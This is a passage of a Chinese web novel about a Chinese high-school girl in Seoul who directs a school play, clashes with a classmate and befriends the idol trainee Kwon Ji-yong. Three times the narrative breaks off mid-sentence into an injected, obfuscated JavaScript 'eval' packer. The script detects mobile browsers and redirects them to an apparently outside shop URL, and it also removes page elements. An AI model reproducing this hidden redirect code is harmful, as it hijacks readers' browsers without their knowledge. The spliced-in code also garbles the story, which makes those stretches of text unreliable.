江听寒拍拍江爸爸的肩膀,安慰道:“没事的爸,等我赚到十亿就给你提供资金援助。” 江妈妈跟江听寒通话的时候必会提到“你爸”“你爸”“你爸”,总之就是变着法子打听江爸爸的近况。 江听寒不是很懂两个还爱对方的人为什么拉不下脸重新在一起,并且这两人还心知肚明对方对自己还有感情。 她曾经问过江爸爸这个问题,江爸爸神秘莫测地说“等你谈恋爱了就知道了”,又严肃地教育道“但高中阶段不能谈恋爱,等你上大学我就不管你了。” 江爸爸没有嘲笑女儿这不知天高地厚的话语,爽朗地笑道:“好,我就等着我的好女儿以后飞黄腾达了。” 江听寒抱起手臂:“所以是什么好事?” 江爸爸:“爸爸今天签下了一个大单子,下一周估计一整周都不用加班了,爸爸就早点下班,等我们小寒回来就能吃上香喷喷的晚饭了。” 江听寒不由得鼓起掌来:“那确实是一个好消息。” 江爸爸的主厨生活从今天就开始了,在厨房忙活大半个小时,做了顿晚饭给自己吃,江听寒也坐在饭桌旁,陪着自己的孤寡老爸。 江爸爸:“我们小寒今天在学校有没有遇到什么趣事。” 跟“有趣”联系起来的事情,江听寒想到的第一件事竟然是便利店里遇到的那个向她要调料包的男生。 她眼神闪了闪,说:“有,爸,我给外语戏剧节写的剧本被老师选中了。” “呀!”江爸爸眼睛都瞪大了,惊喜道:“我就知道我们小寒可以,这是比老爸今天这件好事要更好的事啊,不行,明天得出去大吃一顿,庆祝庆祝。” 江听寒轻轻点了点头。 周六傍晚,江听寒跟江爸爸去繁华的江南区,吃了一顿高档的烤肉。 她捏着鼻子把生拌牛肉吃下去了,平心而论,挺好吃的,只是她不爱吃生的而已。 而一位少年来到了昨晚来过的这间便利店,环视一圈,没有见到昨晚碰见的那个女孩。 啊,对了,她身上穿着制服,是学生吧! 今天放假肯定在家,怎么会出现在这里…… 权至龙稍稍有些失落,又买了一包农心辛拉面,这次终于有调料包了。 竟然还是双倍的,像是要把昨天亏的弥补回来。 他的心得到了些许慰藉。 几分钟后,又被双倍辣辣得像小狗一样吐舌头散热纳凉。 4. 念念不忘必有回响 选角的重任也落到了江听寒这个编剧身上,于是新的一周,试镜开始了。 江听寒特意买了一顶渔夫帽,穿了裤装的制服,一手拿剧本一手拿评价(蛐蛐)人的小本本,一副导演做派。 今时不同往日,之前大家一视同仁是同学,跟她亲近的人又不多,哪怕见到她被孤立也无动于衷,现在江听寒手握实权,况且外语戏剧节虽然是外国语学校的每年经典保留项目,但刚刚升到高一的学生们都是第一次参加,各个自诩人中龙凤天骄之子,谁不想出风头呢? 因此在试镜开始之前,来向江听寒提前示好的人非常多,但新晋江导演非常铁面无私,不讲人情世故,只讲“试镜结束就知道谁是最合适的了”。 这个贼眉鼠眼,饰演约翰会让人怀疑佩珀和黛丽是否有恋丑癖。 恋猪癖也没有哈抱歉,第二个也pass。 这么简单的一段台词到底要结巴多少次,上台难道还要念一二三四五后期配音吗?OUT! 一个蹲下来的动作竟然也能做得如此僵硬,不好意思,虽然你有铁肩膀、硬脊梁,但我们不招僵尸,出门左转林正英剧组。 江听寒连连在本子上打下一个大大的“叉”,评语主要分为三类,一类是“唉”,这是外形上就让人请不自主发出一声怜悯叹息的,第二类是“哈”,主要是当演技派没希望但当谐星还有点前途的,第三类则是“嗯”,即普通中庸到没什么好说的类型。 总之就是没有一个满意。 大家都不是专业演员,从演技评判或许过于苛刻了,再这样下去都要全军覆没了。 江听寒思考一番,决定放低点标准,外形大概符合就好。 经过一个半小时的评选,她最终敲定了一个一米七五左右、长相比较正常的男生,叫做尹泰潾。 那位被李有娜暗恋、又拿江听寒当炫耀资本的男生金时宇,看着自己双开门体格跟尹泰潾的细狗体型的对比,立刻就不爽了起来:“听寒xi,你的评选标准确定没有出错吗?怎么看都是我比他更适合吧?” 金时宇体育很好,有一米八五,长得也能算得上是帅气,到哪都是众星捧月的主。 江听寒淡淡道:“没错,约翰如果太高太壮,最后一幕的黛丽很难把他控制住。” 金时宇眉头拧死,说的话竟也算有理有据:“但约翰是军人吧?” 江听寒反问道:“政府征兵的时候会在乎你是一米七还是一米八吗?” 金时宇嗤笑一声,突然拉长语调,语气充满调侃:“哎一古,你不会就喜欢wuli泰潾这样的小身板吧,但我得给听寒xi一个忠告,这样的孩子在你遇到危险的时候说不定施暴者一拳他就倒下了,根本保护不了你。” 江听寒无动于衷:“我喜欢什么类型跟选谁当约翰无关,尹泰潾xi符合剧本人物设定,所以我选择了他,如果金时宇xi也符合人物设定,那我也会选你。” “遇到危险最好还是报警,人的腿也不是摆设。” 金时宇突然凑近,那张脸就跟恐怖游戏里突脸的鬼一样骤然放大,声音刻意压低显出了一种超越年龄的磁性:“我知道你跟有娜关系不好,因为有娜喜欢我,所以你也迁怒于我。” “肯恰那,我的心会一直为你敞开。” 江听寒眸中闪过一丝嫌恶,猛地后退一步。 谁说男高是钻石,分明是催吐化合物。 金时宇把这看作是江听寒的害羞,又得意地笑了起来。 李有娜看着金时宇主动找江听寒搭话,甚至还贴得这么近,又要把后槽牙咬碎了。 这个周末过得可真是黑暗,她废了很大一番功夫才把朴孝妍哄好,但朴孝妍又给她下了任务,让她一定要成为黛丽和佩珀,最好最后能够搞砸一整出戏,这样身为主导者的江听寒也难逃其咎。 李有娜虽然想当女主角,但她并不想刻意出丑,心中对我行我素的朴孝妍也涌起了诸多不满,不过嘴上却什么都不敢说。 江听寒眼尖地看到李有娜,突然扬起一抹微不可察的浅笑:“金时宇xi,有娜xi好像有事要找你呢。” 她退到李有娜身后,贴心送上一句:“刚刚时宇xi跟我说他想追你呢,fighting,我相信你可以的。” 李有娜顿时有点晕晕乎乎的,不敢相信自己听到了什么:“莫?” 在李有娜踌躇着要不要告白的时候,江听寒已经召集另外的女孩们进行第二轮试镜了。 这次是两两配合,先A当佩珀,B当黛丽这样演一遍,又角色互换再演一遍,女生十三个,少了江听寒、朴孝妍和李有娜,刚好组成五组。 开始之前,高河润有些紧张地走到江听寒旁边,小心翼翼地问道:“听寒……你不打算自己演吗?” 她在看聪明勇敢又帅气的佩珀时一直都自动代入江听寒的形象,最后开枪那一幕配上这样一张漂亮的脸,一定会让全场观众尖叫的。 “不了,自导自演工作量太大了。”江听寒干脆地拒绝道,她作为导演能指出演员的问题,如果她也作为演员,就需要另一个人来指出自己的问题了。 训人很爽,被人训很不爽。 高河润也不强求,只是有些遗憾:“好吧。” 江听寒抬眸,静静地观察了高河润两秒,高河润长相跟标准的韩女不太一样,她的眼睛也长,但不小,单把眼睛拎出来有一种城府很深的感觉,只是她习惯性抿起嘴唇,说话也总是小心谨慎的,综合看起来比较紧张懦弱。 等全部表演完再说吧。 高河润的演技也一般,但胜在台词流利,发音也比其他人优秀很多,江听寒想起高河润是在新西兰长大再回韩的,顿时明白了原因。 “河润,你现在是黛丽了。”江听寒合上笔记本,说。 “我吗?”高河润有些惊喜,随之而来的就是惶恐,就算说着拒绝的话,声音也是细若游丝:“我不行的,黛丽这么高贵,跟我的形象完全不一样……” “如果你不打算登上舞台,那一开始就不要参与这场试镜,而不是在我选中你之后又拒绝,这很浪费时间。”江听寒语气依旧平淡,听起来还有些冷硬,心理脆弱的人听了说不定立刻就会难过了。 但这样偏向上位者、较为强势的姿态却对高河润有奇效,从一个邀请变成了必须要执行的命令,她又咬了下嘴唇,说:“好。” “好。”第二声“内”更加坚定了些,高河润深吸了一口气,“我会、我会努力的。” 她还记挂着李有娜用她的账号给江听寒发送辱骂的话,虽然现在已经删除,但仍然内心有愧,现在江听寒看好她,她也得弥补自己的过错才行。 旁边的女生或失落,或不屑,或毫不在意,但也有些保持着期待,最重要也最亮眼的“佩珀”还没有公布人选呢。 江听寒目光锁定在一位长相较为英气的短发女生身上:“秀英xi,你有时间参与排练吗?” 崔秀英,同样是海归韩裔,但还有另一个身份,SM公司的练习生,以前似乎还在日本出道过,这些信息全是江听寒偷听来的,毕竟刚开学时只要崔秀英一来,就会有一群同学围着她问东问西。 江听寒对练习生倒是不怎么感兴趣,她只要自己一个人出门百分之八十机率能遇到星探,周末出门去吃烤肉的时候还有人当着她爸的面给她递名片,老爸还挺高兴,这可是自己女儿在别人眼里有多漂亮的证明。 崔秀英并不是天天都会来上课,上周五看了江听寒的剧本之后觉得蛮有意思,所以今天也来参与试镜了。 她欣然应允:“我可以把时间协调好。” 江听寒也不犹豫:“好,那就请你来饰演佩珀吧。” 崔秀英来饰演“佩珀”让众人有一种“果然如此”的感觉,别人专业对口,打不过很正常,但高河润就不一样了,一时间高河润收到了很多道打量的视线。 高河润已经做好了在接下来一段时间被冷嘲热讽的准备了,特别是来自李有娜和朴孝妍的针对,但实际情况完全出乎她的意料。 对大部分人来说,这只是一个课外活动,虽然说很想在舞台上闪闪发亮,但也不是说站上舞台祖坟就会冒青烟,所以那种嫉妒和不快停留一天就差不多散了。 而李有娜,高河润从来没有出现在她的视野里过,她眼里永远只有江听寒一个人。 终于鼓起勇气说“我喜欢你”最后却得到“我们当好朋友不好吗”回复的李有娜分外受伤,气冲冲地去找江听寒算账,却在半路得知试镜结束了,她连参与的机会都没有,更是怒火攻心。 她眼睛都能喷出火来了,敏锐地察觉到从后门挎着包溜走的江听寒,立刻跟了上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149204|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江听寒越走越快,她也越追越快,两个人甚至在楼梯里跑了起来。 江听寒直接冲出了校门,象征导演尊贵身份的帽子差点飞走,被她眼疾手快地抓了回来,用力扣在脑袋上,衬衫的下摆随风上下翻飞,黑色长发也在清瘦的后背上肆意飘扬。 她回头看了李有娜一眼,对方已经跑得完全不顾形象了,如果追上她,一定会像加特林一样突突突说出“婊子”“贱人”“去死吧”这样的污言秽语。 恐怖游戏的BOSS红温,现在进入了锁血且狂暴的二阶段。 出了校门还追,真可怕啊。 江听寒暗叹自己还是太善良了,选择不过马路,就绕到人行道上跑,坏人一向是倒霉的,要是李有娜跟着她过马路,像韩剧里那样被车撞了就不好了。 韩剧里车祸一般后遗症只有失忆,现实生活里可就说不准了。 又路过那间常去的便利店,可惜只能择日再临幸,刚从门口跑过去,一个因为头发被tony剪毁了又黯然神伤来到这家魂牵梦绕的便利店的男生就推门出来了。 雪白的侧脸猛然闯入眼帘,眼、眉都是充满朝气地上扬着,漂亮中带着一种锋利的攻击性,让人念念不忘。 权至龙心脏猛然漏了一拍,因为这张脸太漂亮,漂亮到好像是在梦里才会出现的天使,而他的生活又太过艰苦,又要练习又要兼顾学业,别人在睡觉的时候他也在努力,所以他把便利店里遇到的这个漂亮女孩短暂地当成了精神寄托,当成了一个类似于“乌托邦”的符号。 找不找得到不重要,重要的是在这个找的过程中可以完全放松。 但再次见到江听寒,权至龙却涌起了一阵疯狂想跟她搭话的冲动,脑子还没反应过来,身体已经自动跟上去了。 这一路真的跑了很远,韩国的楼房又很窄,几公里内可能就住了上千户人家,道路错综复杂,最后江听寒拐进了小巷子里,发现这是一条死路。 她回过头去,突然看见一道人影杵在自己面前,不由得吓了一大跳。 定睛一看,发现是上周五见过的那个没有调料包的倒霉男生,又重重地松了一口气。 “原来是你啊。” 还以为李有娜追上来了呢。 权至龙看着面前微微轻喘的女孩,忽然又不知道该说些什么了,只下意识应了一声:“内,是我。” 大脑跟最近的韩国地铁一样陷入了罢工潮,转来转去,竟然转出了一句傻乎乎的:“我……现在吃辛拉面有调料包了。” 江听寒:“?” 她眨了下眼睛,试探着说道:“那……恭喜?” 权至龙也不知道是中了什么邪,手掌紧张地在裤子上蹭了两下,又像是想证明什么似的:“还是两包!” 刚说完他就后悔了,感觉世界都变得灰暗了一些。 不是,这到底是在聊什么啊,谁会关心他吃辛拉面有没有调料包! 江听寒倒也没有觉得很意外很震惊,毕竟在权至龙向她借走剩下那半包调料的时候她就知道这个人的脑回路异于常人,如果这时候面前有一个坑,正常人要不选择绕过去要不跳过去,而他应该会选择填平这个坑走过去吧。 “哦……”她随意应了权至龙一句,又往他身后看了看,确定没有李有娜的身影,终于彻底安下了心。 权至龙顺着她的视线看去,空空如也,顿时有些好奇:“你在看什么?” “我在看……”江听寒微微蹙起眉,“你知道新亭洞兔子案件吗?”* 权至龙不是很懂江听寒的意思,点点头:“我知道,去年发生两起连环杀人案,最近又犯案了,幸存者说看见犯人家旁边楼梯的柜子上有兔子贴纸什么的……” “对,”江听寒一本正经地说道,“我们就在距离新亭洞一点多公里的麻浦唉。” 一点多公里,也就是十多分钟的路程。 权至龙顿时起了一身鸡皮疙瘩,后背也森森发凉,看着周围像竹筒一样林立的逼仄楼房,突然想起电视上说第二起杀人案,凶手抛尸点就是在这种楼房之间堆放废弃垃圾的小巷子里。 这女孩不会刚刚看到了杀人凶手抛尸吧! 江听寒又说:“所以要聊天的话,能不能换个人稍微多点的地方,我害怕。” 权至龙:“……唉?” 5. 是妹妹! 站在小巷口,江听寒又有些迷茫了,她来这里也只有短短两个月,每天上学放学的路线都差不多,所以即便是离学校只有两条街道远的地方,对她来说都是全然陌生的。 一言以蔽之,她不知道该怎么回到路边了。 权至龙看出了她的窘迫,微微掀起嘴角:“跟我走吧,我知道路。” 江听寒后退一步,落到了权至龙身后,面不改色道:“那就麻烦你了。” 权至龙向前迈动了一步,又把脚收了回来,转头对江听寒郑重其事地说:“你的帽子……啊,还有今天这一身,全部都很帅气。” 说话的时候还附赠了一个灿烂的笑容,牙齿白得像是刚刚被阳光清洗过的贝壳,弯弯的嘴角和弯弯的眼睛还显得有点稚气。 果然权至龙还是笑起来的时候比较讨人喜欢。 江听寒调整了一下渔夫帽的位置,又垂眸看了看身上的衣服,不就是正常的裤装制服吗?顶多是比穿裙子的时候要干练一点。 看着脚上一双黑白牛津鞋,还有裤脚下露出来的清瘦脚踝,她默默表示赞同,好吧,还是挺帅的。 起码比权至龙这个形状像两个大萝卜的哈伦裤好看不少,本来两个人身高差不多,顶多是权至龙高上一两厘米,但配上这条超绝显矮的嘻哈风裤子,江听寒觉得自己的身高更胜一筹。 她顺理成章地接下了夸赞,并表示:“谢谢,可以免费给你借鉴学习。” 权至龙又一瞬间翘起了唇角,几近失笑:“内,那我要好好学习一下穿搭技巧了。” 江听寒跟着轻车熟路的权至龙左拐右拐,终于见到了熟悉的公交站点。 首尔的公共交通系统很发达,坐地铁和坐公交都挺方便的,江听寒也能算是有钱人家的大小姐,但觉得请司机又费钱又麻烦,除了拿出去装一下毫无用处,所以都是搭乘公共交通上下学,还能自己自由决定回家时间。 恰巧,站点前停了一辆回家方向的公交,车门刚打开,快走两步估计能赶上。 江听寒扫了一眼旁边的权至龙:“去咖啡厅?” 今天晚点回家应该也可以吧,权至龙带她出来也算帮了她忙,不然她可能还要在里面徘徊个几十分钟。 权至龙刚想说“好”,又忽然察觉囊中羞涩,可又不想扫兴,有些咖啡也就一千两千韩元,今天他都没吃午饭,餐费剩的比较多,应该可以承担的。 他还是把那个“好”说了出来,还是用一种很兴奋的语气。 放学之后一起去咖啡厅,一般是好朋友之间才会做的事情呢! 江听寒走向了跟公交完全相反的方向,带他来到了星巴克。 权至龙os:(′-﹏-`;) 哦多剋!(怎么办!) 两个人在靠窗的角落坐下,江听寒瞥了一眼招牌,问道:“喝咖啡吗?” 权至龙好想说只要一杯白开水,但少年的自尊心迫使他牢牢锁住自己的嘴巴,江听寒如清泉一样冷冽又动听的声音落入耳朵里,却莫名让他心上的枷锁松开了一条裂缝。 他坦诚道:“我待会还要坐车回家,咖啡我可能……负担不起。” 江听寒用手背撑着侧脸,几率黑发顺势从稍稍露出的纤细手腕上划过,垂落在身侧,她说:“没事,我请你吧,但现在天快黑了,我建议还是不要喝咖啡,不然睡不着。” 让甚至还没交换姓名的女孩子请自己喝饮料,梨泰院小绅士做不出这样的事情来。 但权至龙闻着咖啡厅里小甜水和咖啡混杂的味道,又忍不住咽了口唾沫,鸡得来滚想喝…… “谢谢,真的,闹木闹木(非常)感谢。” 江听寒感觉跟人交流真的费劲,她只需要“喝咖啡”还是“不喝”的回答,好歹回答一下她的问题嘛。 反正是她请客,江听寒就直接招来店员,霸权主义点了一杯抹茶奶油星冰乐和巧克力奶油星冰乐。 两杯饮品被端上来后,江听寒先是细细打量一番,最后觉得抹茶的奶油挤得比较好看,就把巧克力的推到了权至龙面前。 权至龙完全是巧克力脑袋,看见这杯巧克力星冰乐,周围都快冒出了幸福的小花花。 总感觉遇到江听寒的时候都会有好事发生。 他又说了一声“谢谢”,小心翼翼地舔掉了奶油尖尖,完全吞下去之后才道:“那个……我叫权至龙。” 江听寒跟着念了一遍:“鸡涌?哪个yong?” “就是,嗯……Dragon,你知道吗?Dragon的那个龙。”权至龙举起手指绕几个圈,试图比划出龙的形状。 江听寒恍然大悟:“啊,那我知道了。” 她也礼尚往来:“我叫江听寒,寒冷的寒,就是Cold。” “Gang Cheong-han?”权至龙把江听寒的名字念得认真又缓慢,听起来有些奇怪呢,这名字不是一般的罕见。 江听寒发现权至龙不仅脑回路异于常人,连韩语发音也是,听着自己的名字从他嘴巴里黏黏糊糊地发出来,不由得打了个冷颤。 “我来自中国。” 权至龙顿时恍然大悟:“那你的韩语也说得太流利了。” 江听寒搅和了一下面前的奶油,喝了一口:“没办法,韩语不好上不了外国语学校。” 权至龙早就知道江听寒在附近的外国语学校上学,制服上的校徽有学校名字,他还是装作一副惊讶的样子:“哇,外国语学校很难上吧,课业也很重,还要准备两次考试。” 外国语学校跟普通高中不一样,可以参加特有的提前批考试,主要是考察外语能力,如果失败,或者想选外语以外的大学专业,则可以参加普通高考。 “还好。”江听寒目光扫过权至龙那张稍显圆润的脸,好奇道,“那你呢,鸡涌xi,我好像每次看到你你都没有穿校服。” “我的情况比较特殊啦,”权至龙握住面前的透明塑料杯,水珠把掌心也打湿了,“我是练习生,不用天天上学,而且再过几个月可能就出道了,最近一直在准备这件事。” 江听寒微微睁大了眼睛,又重新打量了权至龙几眼,长相顶多能称得上一句“可爱”,也不高,身板更是跟豆芽菜一样,跟印象里那种长相要帅气漂亮要高挑的练习生完全两模两样啊。 她很快找到了合理的解释:“Rapper?还是独立歌手?” 权至龙扯出一抹有些无奈的笑:“是爱豆,虽然一开始是想做hippop组合……” 他摊了摊手:“不像吧?” 组合里还有另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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权至龙看江听寒的表情,知道自己大概率是猜对了,使劲地眨着自己的眼睛,虽然没说话,但已经传递出了“可以吗可以吗可以吗可以吗”的信号。 江听寒感觉自己的眼睛都有点被面前这人吵到了:“能用嘴说话为什么要成为笔友?” 权至龙毫不犹豫道:“有时候一些话不好意思用嘴巴说出来,但写下来就自然多了,情书、手写感谢信这种不就是因此而诞生的吗?” 江听寒觉得他这话说的挺好,但没有给出准确回复:“好吧,我考虑考虑。” 但权至龙能听到这句话就已经很开心了,突然想起一个问题:“对了,我是88年的,听寒xi你呢?” 江听寒心里咯噔一下,莫拉古?! 她一直以为权至龙跟她差不多大,还一度以为是弟弟,怎么会有人十八岁了脸颊肉还是鼓鼓的。 竟然是大她两岁的哥哥吗? 江听寒面不改色道:“我也是88年的。” 权至龙:“亲加哟?(真的吗)几月的?” 竟然是同年亲故! 江听寒又补上了没说完的那句话:“现在大促免费赠送一年,再叠加买一送一消费券继续加一年,其实我是90年8月8号的。” 权至龙听笑了:“我感觉听寒xi比我要有意思多了。” 原来是妹妹呀~ 6. 明天见 一个“笔友”身份完全把权至龙禁锢住了,就算大胆问出“能交换电话号码吗?”,估计也会被一句“笔友”打回来。 他不气馁,先旁敲侧击了一句:“听寒xi,除了书,你还有什么别的爱好吗?比如说手机游戏,我最近在玩贪吃蛇、俄罗斯方块什么的,还挺有意思的呢。” 江听寒挑了下眉:“你好像对我很感兴趣?” 权至龙笑意盈盈:“那是当然,不然我怎么会想要跟听寒xi做朋友呢?” 第一次喊江听寒的名字时,他还说得慢吞吞的,有些生涩,但现在说起来已经很流畅了。 江听寒笃定地说:“你想要我的联系方式。” 少年心事被突然揭穿,权至龙的心又突然不受控制地跳动了一下,他有些紧张地咬了下唇肉,尽量镇定道:“内,不然我们下次见面又只能靠命运了,最近这附近不是比较危险吗,待会回家的路上还是保持联系好一点。” 他还会联系上下文,call back刚刚提到的凶案,不是抖机灵,而是到现在还心有余悸。 江听寒冷不丁道:“鸡涌xi,你对我来说,其实也是陌生人,按照常理来说,我也没办法确定你是好人,尤其是你还偷偷跟着我跑了这么久。” 权至龙掰着手指,逐一回答江听寒的问题:“第一,我面善;第二,我有上过电视,网上都可以搜到我的真实身份;第三,就算听寒xi怀疑我不是好人,但你还是请我喝这个了!” 他举起了巧克力星冰乐,眼睛亮晶晶的,忽然看到奶油像雪崩一样顺着杯壁滑落,又急匆匆地把嘴巴凑过去补救,一下手忙脚乱起来。 罗列第一第二第三的说话方式真的很像电视剧台词,听得江听寒有点想笑,看着权至龙这犯蠢的动作,更是毫不客气地弯起了唇角。 怎么会有人明明是哥哥,但却展现得如此笨拙且弱智。 江听寒拨弄了一下笔记本挂件:“一步一步来吧,如果我们能成功当上笔友,我就考虑给你我的联系方式。” “考虑、考虑、考虑,听寒xi好像做什么事情都要考虑一下呢,真想把这个词从字典里删掉。”权至龙说最后两个字时还皱起脸装了一下狠,看起来像是一只被偷了萝卜无能狂怒的土拨鼠,还是有点憨憨的。 江听寒只是笑笑。 星冰乐快要见底,要到分别的时候了,权至龙抢先站了起来,他已经看见太多次江听寒的背影了,再看一次必定会更加惆怅。 “我,我明天差不多这个时间点,会去便利店的。” 江听寒没有回答这句话,略带调侃道:“走这么快是怕我先走了留下你结账吗?” 权至龙不知所措起来,连忙摆手:“没有没有,你把我抵押在这里打工也行。” 江听寒向前台走去:“算了吧,星巴克应该不像你们公司那样招童工。” 权至龙摸了摸鼻子,感觉这句话听起来怪怪的。 他们一起走去了最近的公交站,权至龙目送江听寒上了公交车,甚至还对对方挥了挥手。 看着对方有些无动于衷,他有些失落,但在门关上的前一刻,一道清冷的声音从里面飘了出来。 “明天见。” 权至龙:“!” 他顿时心花怒放,看着灰扑扑的公交车尾气,转身向距离这里好几百米的另一个公交站点走去,嘴里还哼着轻快的小曲。 * 翌日,江听寒踩点到了学校,趴在桌子上,萎靡又恹恹的。 今天朴孝妍也没来上学,不知道这大小姐脾气要发多久,李有娜倒是尽职尽责地当着一只聒噪的蝉。 她伸手就要去揪江听寒的头发,江听寒抬起了头,恰好躲过,反倒是李有娜失去了重心,肚子撞在了桌角上,顿时倒吸了一口冷气,额头也渗出了一点冷汗。 江听寒懒懒地打了个哈欠:“我就说坏人总是很倒霉。” 李有娜音调飙高:“你说什么?!” 江听寒又改口道:“没说什么,今天又是什么妖风把不尊敬的李有娜小姐吹来了,要试镜免谈,我们活动过时不候,没有补考机会。” “叽里咕噜说什么呢,”李有娜觉得跟江听寒多说一句话,就得减去一年的寿命,“你昨天是故意的吧,骗我说时宇想追我,实际上就是想我错过试镜,你这个阴险的贱人。” 江听寒悠悠感慨:“没文化,真可怕。” 她纯良地眨了两下眼睛,实诚道:“就算你来参加试镜我也不会让你通过啊,谁会找随时随地攻击导演的演员呢?” 李有娜有些气急败坏:“我要告诉老师!” 江听寒泰然自若:“好啊,我们一起去找老师吧。” 李有娜这才想起来自己还有“喝酒”的料握在江听寒手里,她只是现在没有举报,不代表以后没有。 她磨了磨后槽牙,心想一定要找个办法把罪证删掉。 在留言板上的话已经删除了,但江听寒应该有留存图片。 对了,手机! 江听寒看着满脸阴恻恻回到自己座位的李有娜,突然感觉背后阴风阵阵的。 一琢磨,想必是又有人要干坏事了。 她又打了个哈欠,眼睛里弥漫着水汽,看着一副没睡饱的样子。 昨天只记得咖啡会影响睡眠,忽略了抹茶也是茶,搞得大半夜翻来覆去睡不着,又爬起来把每周固定的翻译作业给写了,下周都可以短暂逃离翻译地狱了。 江听寒还忘了老爸说要当晚餐小厨这件事,回去的时候只见到老爸幽幽的眼神,一直念叨她晚回来了快一个小时,菜都凉了。 她只能借口学校拖堂。 江爸爸还挺奇怪:“韩国学校也会拖堂吗?” 江听寒说:“全世界学校都会拖堂吧。” 总归是把江爸爸忽悠过去了。 啧,今天要怎么办才好。 要不要干脆放那位至龙同学鸽子吧,但对方看起来心灵很脆弱,不会等不到人就哭吧? 江听寒突然有些懊恼,昨天就应该给权至龙联系方式,这样就能找借口通知对方不用去便利店了,老是骗自家老父亲,心里总有些过意不去。 她翻开笔记本,在包的夹层里掏了掏,捏出来一张小票,撕下一小块胶带把小票贴在了新的一页上,旁边画了一个戴着帽子只露出下巴的高冷小人,聊天气泡里却是代表叹气的六个点“……” 【学校生活一半是宫斗剧,一半是偶像剧。 有人很想给我扎巫蛊娃娃,有人很想要我的电话号码。(好像还有点押韵^v^) 不过——宫斗剧里是勾心斗角、唇枪舌战,现实里只剩自取其辱。 生活里总是需要一些带来欢乐的小丑角色的,我很宽容,就像是我讨厌蟑螂和蚊子,但它们依旧顽强地活着,尤其是后者,总是让人烦不胜烦。(我决定减少提到昆虫的频率,我不是法布尔,有点恶心)* 韩剧里是浪漫初遇、风花雪月,现实却是一包很接地气的调味料。 我试图提升一下档次,完成了从600块农心泡面到4000块星巴克的阶级跨越,唉,资本,归根究底都是让资本赚到了。 在我被亚硝酸盐毒死之前,就这样让我窝窝囊囊地活在这个搭一次公交车比泡面还要贵的发达国家吧。(已用黑色马克笔涂黑以示尊重) 哦,差点忘了,韩剧里还到处是帅哥,《蓝色生死恋》的元彬、《我的女孩》的李准基……又想回去重温一遍了。 但现实让我遇到的话,或许我会先怀疑自己是不是遇上了诈骗杀猪盘,所以—— 土土的,很安心。】 一个早上就在上课认真听讲,下课写写随笔中度过了,李有娜一直盯着江听寒,却发现江听寒一个早上没有离开过座位一步,甚至不用去上卫生间。 她找不到一次能翻江听寒包找出手机的机会,分外挫败。 影视剧里的热血主角有一个优点就是不知退缩、越挫越勇,刚好她也有,所以她依然和鬼一样暗中观察着。 李有娜忽略了一点,影视剧里的龙套也拥有着不依不饶找茬的优良品质。 终于! 午饭时间,江听寒去饭堂啃草料了。 李有娜知道排练时间就在午休时间,至少两个小时内江听寒是不会回来的,班里也没几个人,她光明正大地拿走了江听寒的包。 翻来翻去都没有翻到手机,李有娜怒从心中起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149206|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恶向胆边生,抓起一个黑皮笔记本。 她记得江听寒老是在上面写写画画,肯定也写了不少骂她的话,她就把江听寒写的全部撕下来贴在公告栏上,让大家看看江听寒的嘴脸。 李有娜把翻开第一个,一个硕大的中指映入眼帘。 “?!” 下面是一长串字迹清秀、完全能看懂的韩文。 【偷看者立刻家道中落,家中公司不能进行破产清算终身背负债务,奋斗六十年全年无休零点下班零点上班一周工作七天制,在还清债务的第二天立刻劳累过度变成植物人,即将苏醒的前一天被于心不忍的家人送去安乐死,到地狱之后在撒旦手下继续做牛做马】 这人果然恶毒! 李有娜忍辱负重,继续翻开了第二页,又看见了硕大的几个字。 【你是猪】 第三页。 【辱猪了,你的智商不如猪】 第四页。 【哈哈,后面真的没有了,不要再翻了,否则会倒霉一个月kkk(???)】 李有娜不信邪似的翻了整个笔记本,后面真的空空如也,一个字都没有。 折腾一番什么都没有得到,不对,她得到了一堆的羞辱和诅咒。 “……” 李有娜刷的一下把这几页纸撕下来,捏成纸团愤怒地扔了出去:“去死去死去死!” 纸团“啪”地一声砸中了人。 金时宇拿起身上的纸团,打了开来。 李有娜顿时大惊失色:“别看!” 但为时已晚,金时宇已经看见了非常显眼的三个字——“你是猪”。 他摸摸下巴,调侃道:“有娜啊,我感觉我还是比猪帅了不止一星半点吧。” 李有娜整张脸都要憋红了,双手死死地捂着脸,从教室里冲出去了。 “Cut,这个地方有点问题。”另一边,江听寒正在专心致志地指导着演员。 她对高河润说:“在墓地的这个时候,黛丽虽然已经对约翰有所怀疑,但她的怀疑没有到认为约翰出轨或者欺骗她这样的程度,所以提起自己的丈夫,语气应该是有点甜蜜的。” 高河润点点头:“我知道了。” 江听寒:“好,麻烦秀英xi也再来一遍,秀英xi你的神态要悲伤一点,你是知道你的丈夫已经过世的,刚刚还是说得太平淡了。” 崔秀英:“内。” 一声“Action”,两人重新投入到了表演当中,演技还很青涩。 【{第一幕——雨中的萧瑟墓园} 黛丽向佩珀走进半步,雨水滴滴答打湿了肩头:“真是太感谢您了,没有您的伞,我怕是回家就要发一场热病。” 佩珀将伞微微倾向她:“很高兴能帮上这样一位美丽夫人的忙。” 黛丽手指轻抚自己的脸颊:“称不上美丽,丈夫前几日还说我……” 